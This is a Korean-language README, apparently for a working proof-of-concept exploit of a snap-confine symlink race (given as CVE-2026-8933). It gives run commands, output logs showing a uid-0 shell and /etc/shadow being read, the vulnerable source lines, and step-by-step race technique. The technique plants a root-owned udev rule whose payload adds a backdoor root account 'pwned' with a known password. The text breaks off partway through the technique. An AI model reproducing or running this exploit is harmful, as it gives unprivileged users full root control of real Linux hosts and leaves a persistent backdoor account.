
CVE-2026-8933에 대한 동작하는 PoC: root 소유의 udev 규칙을 심어 systemd-udevd를 통해 로컬 root 권한을 획득하는 snap-confine 마운트 네임스페이스 심볼릭 링크 경쟁 조건입니다.
snap-confine 마운트 네임스페이스 경쟁 조건 → 로컬 루트 셸동작하는 PoC. 전체 로컬 권한 상승이 처음부터 끝까지 재현됨 — 비특권 사용자(uid 1000)에서 실제 uid-0 루트 셸까지 — 비밀번호 없이, 상호작용 없이, 기존 권한 없이.
비특권 프로세스가 set-capabilities snap-confine을 이용해 루트 소유의 udev 규칙을
호스트의 /run/udev/rules.d/에 기록하게 만들고, 이어서 systemd-udevd가 해당 규칙의
PROGRAM= 페이로드를 루트로서 실행한다. 내장된 페이로드는 알려진 비밀번호를 가진
uid-0 계정을 심어두므로, su - pwned(또는 ./_rootshell.py)가 루트 셸을 제공한다.
| 구성 요소 | snap-confine → sc_replicate_base_rootfs() (_msc_273.c의 snapd 2.73 소스; 테스트한 호스트는 snapd 2.76.3을 실행 중이었고 여전히 익스플로잇 가능했음) |
| 분류 | 로컬 권한 상승 (심볼릭 링크 경쟁 조건 → /run/udev/**에 임의의 루트 소유 파일 생성 → 루트로서 코드 실행) |
| 결과 | 비특권 계정에서 uid=0(root) 셸 획득 |
| 신뢰성 | 16회 실행: 7회는 첫 시도에 성공, 나머지는 두 번째 시도에 성공; 2회를 넘긴 적 없음 |
| 이식성 | 호스트 독립적: 대상 snap, 앱 이름, cgroup 스코프, uid 및 snap-confine 경로가 모두 런타임에 탐지됨 |
| 루트 필요 | 없음 (§9 참조) |
목차
TL;DR · 1. 빠른 시작 · 2. 요구 사항 · 3. 예상 결과 · 4. 버그 · 5. 경쟁 조건에서 승리하기 · 6. 페이로드 · 7. 패키지 내용 · 8. 구성 · 9. 권한 및 정리 · 10. 영향 및 수정 · 문제 해결 · 참고 문헌 · 면책 조항
cd <package dir>
bash _t18poc.sh 100% 12 # ~1–2 min, no password required
예상 출력(축약):
### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"
### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash
### 3. root shell
credentials: pwned / pwned (uid 0)
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
드라이버는 자신이 만든 것(규칙, 페이로드, 심어둔 계정, 스크래치 디렉터리 및 그 마운트)을 정리합니다. KEEP=1을 설정하면 계정을 유지하여 이후에 루트 셸을 대화형으로 사용할 수 있습니다:
KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py # interactive root shell (password typed for you)
./_rootshell.py -c 'id' # one-shot command as root
su - pwned # or just this, password: pwned
cd <package dir>
./t18 info # optional: which snap is the target?
bash _t18poc.sh 100% 12 # quota, max attempts
_t18poc.sh [quota] [attempts]는 t18 + _ftrig를 빌드하고, 대상을 탐지한 뒤,
승리할 때까지 익스플로잇을 실행하고, udevd를 트리거하고, 루트 페이로드를 검증한 후
정리합니다. 100% 12는 아래 모든 측정에 사용된 값이며, 0.3% 40도
동작합니다(더 엄격한 할당량, 더 많은 시도).
무엇이든 건드리기 전에 드라이버는 자동 탐지된 대상을 출력합니다:
target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope : snap.firefox.firefox.scope
snapd : 2.76.3
cgroup.freeze를 구동함),snap-confine, set-capabilities로 설치됨
(cap_chown,cap_dac_override,cap_sys_admin,…) — set-uid-root가 아님,t18과 _ftrig를 빌드하기 위한 gcc + libfuse3 (pkg-config fuse3),/snap/<snap>/current 디렉터리의 최상위 레벨에 일반 파일이 포함된
설치된 snap이 최소 하나 이상 — 바로 그 DT_REG 항목이 취약한 open()을
실행하게 함 (예: firefox, core22, …). 그러한 snap이면 무엇이든 작동하며,
SNAP=<name>으로 특정 snap을 강제할 수 있음../t18 info는 감지된 대상의 snap, app, base, unit, scope, confine과
항목/일반 파일의 개수를 출력한 뒤 종료됨 — 호스트가 설치된 snap들로
익스플로잇 가능한지 빠르게 확인하는 방법임.
[ 22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[ 22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[ 25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[ 35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[ 35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[ 35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[ 41.012] spinner: rule written into the root-owned file
[ 42.362] phase 2: 180 slices, win=1 (udev rule written)
[ 42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
/tmp/snap.rootfs_bTvhoA/default256.png: Permission denied
루트 권한의 snap-confine이 호스트에서 생성한 파일:
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"
그리고 그것이 가리키는 페이로드 스크립트(uid 1000이 작성하고 systemd-udevd가 uid 0으로 실행):
-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root) <- /tmp/.pwned.root
snap-confine는 직후에 동일한 항목의 AppArmor에서 거부된 바인드 마운트에서 종료됩니다. 그 시점에 파일은 이미 생성되어 내용이 채워져 있습니다.
$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7::: <- /etc/shadow is root-only
$ ./_rootshell.py # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
연구 및 최종 일반 빌드 전반에 걸쳐 _t18poc.sh를 16회 실행한 결과 모두 LPE로 종료되었으며(그중 7회는 첫 시도에서, 나머지는 두 번째 시도에서 성공), 2회 이상의 시도를 필요로 한 실행은 없었습니다. 각 실행은 스스로 정리합니다(규칙, 페이로드, 심어둔 계정, 스크래치 디렉터리 및 그 마운트).
snapd 2.73, sc_replicate_base_rootfs() (_msc_273.c의 소스):
511 if (mkdtemp(scratch_dir) == NULL) // /tmp/snap.rootfs_XXXXXX
523 sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
530 sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
535 sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
536 sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
362 if (chown(scratch_dir, 0, 0) < 0) die(...);
...
418 int fd = open(full_path, O_CREAT | O_TRUNC, 0644); // no O_NOFOLLOW
422 if (fchown(fd, 0, 0) < 0) die(...);
428 sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);
snap-confine는 set-uid-root가 아니라 set-capabilities(cap_chown, cap_dac_override, cap_sys_admin, …)로 설치되므로, 거의 root에 준하는 capabilities를 지니면서도 비특권 euid를 유지한다. 그 결과:
mkdtemp()는 /tmp/snap.rootfs_XXXXXX를 공격자 소유로 생성하며(511행과 362행 사이), 그리고open(full_path, O_CREAT|O_TRUNC, 0644)는 심볼릭 링크를 따라가며(O_NOFOLLOW 없음) 생성된 파일은 두 줄 뒤의 fchown() 전까지 공격자의 소유가 된다.두 창 모두 비특권 로컬 사용자가 악용할 수 있으며, 이 PoC가 바로 그렇게 한다.
SNAPD_DEBUG=1 + stderr용 파이프 + 배출 자식 프로세스가 unsharing the mount namespace (per-snap) 마커가 나타나는 즉시 사용자 scope의 cgroup.freeze에 cgroup.freeze=1을 기록한다. 이는 mkdtemp() 이전에 snap-confine을 약 마이크로초 지연으로 동결시킨다(파일을 폴링하는 방식은 50–200 µs로 너무 느렸다; 파이프에 대한 read()는 기록자의 컨텍스트에서 깨어난다). 그러면 경쟁 조건은 더 이상 경쟁 조건이 아니게 된다 — scope는 cgroup.freeze로 결정론적으로 단계별 실행된다(슬라이스당 약 한 번의 시스템 콜).
동결된 동안: rmdir("/tmp/snap.rootfs_XXXXXX")(우리 소유)를 수행하고 symlink("/tmp/snap.rootfs_XXXXXX.dA", "/tmp/snap.rootfs_XXXXXX")를 생성한다. mount(2)는 대상 경로의 심볼릭 링크를 따라가므로, 523/530/535행의 MS_BIND/MS_UNBINDABLE/tmpfs 마운트가 모두 .dA에 적용되는 반면, snap-confine의 scratch_dir 문자열은 여전히 우리의 심볼릭 링크를 통해 해석된다.
/proc/<pid>/mounts가 mounts=2 tmpfs=1 squashfs=0을 보여줄 때까지 scope를 단계별로 진행시킨다 — 535행의 tmpfs가 마운트되었고 536행의 복제 루프는 아직 실행되지 않은 상태다.
심볼릭 링크를 unlink()하고 동일한 심볼릭 링크 팜을 담고 있지만 tmpfs에 의해 덮이지 않은 두 번째 디렉터리인 .dB를 가리키도록 다시 생성한다. 이제 루프는 scratch_dir/<entry>를 .dB로 해석한다.
fchown 창 안에서 쓰기).dB에는 기본 rootfs의 일반 파일 이름을 딴 심볼릭 링크가 들어 있다(여기서는 firefox snap의 default256.png, firefox.desktop, … — 다른 호스트에서는 단순히 /snap/<snap>/current의 DT_REG 항목들)가 대상 경로, 예를 들어 /run/udev/rules.d/8933-cve-1.rules를 가리킨다(2.73 AppArmor 프로파일은 /run/udev/** rw를 허용한다). 스피너 자식 프로세스가 대상에 다음을 반복적으로 가한다: